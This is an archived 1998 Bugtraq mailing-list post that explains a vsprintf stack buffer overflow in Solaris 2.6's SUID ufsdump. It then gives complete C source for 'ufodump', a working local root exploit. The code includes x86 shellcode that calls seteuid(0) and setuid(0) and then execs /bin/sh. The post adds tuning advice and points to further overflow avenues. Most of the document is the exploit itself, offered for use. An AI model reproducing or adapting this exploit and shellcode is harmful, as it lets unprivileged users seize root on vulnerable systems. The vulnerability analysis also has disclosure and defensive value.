Revisiting ufsdump under Solaris 2.6

From: Anonymous (nobodyat_private)
Date: Wed Dec 30 1998 - 14:43:35 PST

  • Next message: John Hawkinson: "Simple nmap/inetd workaround"

    A while back, in April and June of 1998, there was some chatter on Bugtraq
    about the ufsdump and ufsrestore programs in Solaris 2.6.  The first
    posting came from Seth McGann who had managed to create a preliminary
    exploit for ufsdump on the i386 platform.  Seth's original post can be
    found at:
    
        http://www.netspace.org/cgi-bin/wa?A2=ind9804D&L=bugtraq&P=R1130
    
    Seth experienced some difficulties with his exploit and I thought I might
    clarify some of his questions.  To start with, yes, the i386 binary of
    ufsdump in Solaris 2.6 is indeed vulnerable; Seth's shell code needs just
    a little bit more kung fu to get us a root shell.
    
    Just like rdist, ufsdump runs most of the time with an EUID and UID of
    you, but retains a saved UID of root (thanks to its original SUID root
    nature) which it uses to toggle its EUID between you and root as needed,
    but only briefly and for small sections of code at a time.  What does this
    mean to you, the enterprising young exploit writer?  You must use this
    same mechanism to make sure your shell (or whatever else you plan to do)
    gets exec'd as root.  But there is one other step you must worry about.
    The Bourne shell under Solaris performs checks of its EUID when it runs.
    If the EUID of the shell is less than 100 and does not match the real UID,
    the shell drops its privileges by reverting its EUID back to its real UID.
    Do you see where this is leading?  In your shell code you must do a
    seteuid(0) to set your effective UID to 0 (chances are your EUID was not 0
    when the overflow happened, as is the case with this particular ufsdump
    hole), followed by a setuid(0) to fully become root, followed by your
    execve() to get your shell.  A fully functional exploit is included at the
    end of this message.  This very same shell code can be used in a rdist
    exploit for Solaris 2.6 (i386), but I'll not post that today.
    
    Why don't I take this opportunity to put in a few jabs at Sun.  What are
    the engineers at Sun thinking?  The buffer overflow exploit is not at all
    a new or exotic technique, and their sorry coding practices make this type
    of exploit surprisingly easy.  What is the problem in ufsdump?  In the
    function msg(), vsprintf() is used to build an informational message to
    display back to the user, but the buffer used to hold the message (1024
    bytes in size) resides on the stack, and that is the key to the exploit.
    Among the many calls to msg() in ufsdump, some calls used for creating
    error messages include the erroneous input in the text of the message, and
    this exploit tweaks one of those calls that uses a vsprintf format string
    of "Cannot open dump device `%s': %s\n", where we, the untrusted users,
    get to provide the dump device name.  That is not the only possible avenue
    of attack, either.  If ufsdump is invoked with an argv[0] of "hsmdump"
    there are what appear to be even easier overflows of the U and O command
    line options.
    
    Knock, knock, anybody home?  Just imagine all the problems Sun would solve
    if they replaced each of these vsprintf() and sprintf() calls in the
    Solaris source tree with a simple vsnprintf() or snprintf() call.  Is that
    too much to ask from such a large and powerful organization like Sun with
    deep pockets and lots of engineers?
    
    Okay, I'll shut up now.  Here's the exploit code.  An offset argument of
    around -500 seems to work good for me.  The ufsdump error message will
    spill garbage all over your TTY, but just tap your enter key a couple of
    times and enjoy your root shell, then be sure to send Sun your thanks.
    
                                    Your brother in arms,
    
                                    Cheez Whiz
                                    cheezbeastat_private
    
    ufodump.c
    
    ----- cut here ----- cut here ----- cut here ----- cut here -----
    
    /**
    ***  ufodump - i386 Solaris root exploit for /usr/lib/fs/ufs/ufsdump
    ***
    ***  Tested and confirmed under Solaris 2.6 i386
    ***
    ***  Usage:  % ufodump [offset]
    ***
    ***  where offset (if present) is the number of bytes to add to the stack
    ***  pointer to calculate your target return address; try -1000 to 1000 in
    ***  increments of 100 for starters.  Thanks go to Seth McGann for the
    ***  original bug report and a preliminary exploit.
    ***
    ***  Cheez Whiz
    ***  cheezbeastat_private
    ***
    ***  December 30, 1998
    **/
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    #define BUFLEN 1100
    #define NOP 0x90
    
    char shell[] =
    /*  0 */ "\xeb\x48"                         /* jmp springboard       */
    /* syscall:                                                          */
    /*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0         */
    /*  9 */ "\xc3"                             /* ret                   */
    /* start:                                                            */
    /* 10 */ "\x5e"                             /* popl %esi             */
    /* 11 */ "\x31\xc0"                         /* xor %eax,%eax         */
    /* 13 */ "\x89\x46\xb4"                     /* movl %eax,-0x4c(%esi) */
    /* 16 */ "\x88\x46\xb9"                     /* movb %al,-0x47(%esi)  */
    /* 19 */ "\x88\x46\x07"                     /* movb %al,0x7(%esi)    */
    /* 22 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
    /* seteuid:                                                          */
    /* 25 */ "\x31\xc0"                         /* xor %eax,%eax         */
    /* 27 */ "\x50"                             /* pushl %eax            */
    /* 28 */ "\xb0\x8d"                         /* movb $0x8d,%al        */
    /* 30 */ "\xe8\xdf\xff\xff\xff"             /* call syscall          */
    /* 35 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
    /* setuid:                                                           */
    /* 38 */ "\x31\xc0"                         /* xor %eax,%eax         */
    /* 40 */ "\x50"                             /* pushl %eax            */
    /* 41 */ "\xb0\x17"                         /* movb $0x17,%al        */
    /* 43 */ "\xe8\xd2\xff\xff\xff"             /* call syscall          */
    /* 48 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
    /* execve:                                                           */
    /* 51 */ "\x31\xc0"                         /* xor %eax,%eax         */
    /* 53 */ "\x50"                             /* pushl %eax            */
    /* 54 */ "\x8d\x5e\x08"                     /* leal 0x8(%esi),%ebx   */
    /* 57 */ "\x53"                             /* pushl %ebx            */
    /* 58 */ "\x8d\x1e"                         /* leal (%esi),%ebx      */
    /* 60 */ "\x89\x5e\x08"                     /* movl %ebx,0x8(%esi)   */
    /* 63 */ "\x53"                             /* pushl %ebx            */
    /* 64 */ "\xb0\x3b"                         /* movb $0x3b,%al        */
    /* 66 */ "\xe8\xbb\xff\xff\xff"             /* call syscall          */
    /* 71 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp        */
    /* springboard:                                                      */
    /* 74 */ "\xe8\xbb\xff\xff\xff"             /* call start            */
    /* data:                                                             */
    /* 79 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA                  */
    /* 87 */ "\xff\xff\xff\xff"                 /* DATA                  */
    /* 91 */ "\xff\xff\xff\xff";                /* DATA                  */
    
    char buf[BUFLEN];
    unsigned long int nop, esp;
    long int offset = 0;
    
    unsigned long int
    get_esp()
    {
        __asm__("movl %esp,%eax");
    }
    
    void
    main (int argc, char *argv[])
    {
        int i;
    
        if (argc > 1)
            offset = strtol(argv[1], NULL, 0);
    
        if (argc > 2)
            nop = strtoul(argv[2], NULL, 0);
        else
            nop = 800;
    
        esp = get_esp();
    
        memset(buf, NOP, BUFLEN);
        memcpy(buf+nop, shell, strlen(shell));
        for (i = nop+strlen(shell); i < BUFLEN-4; i += 4)
            *((int *) &buf[i]) = esp+offset;
    
        printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n",
               esp+offset, esp, offset, nop);
        execl("/usr/lib/fs/ufs/ufsdump", "ufsdump", "1", buf, NULL);
    
        printf("exec failed!\n");
        return;
    }
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:26:49 PDT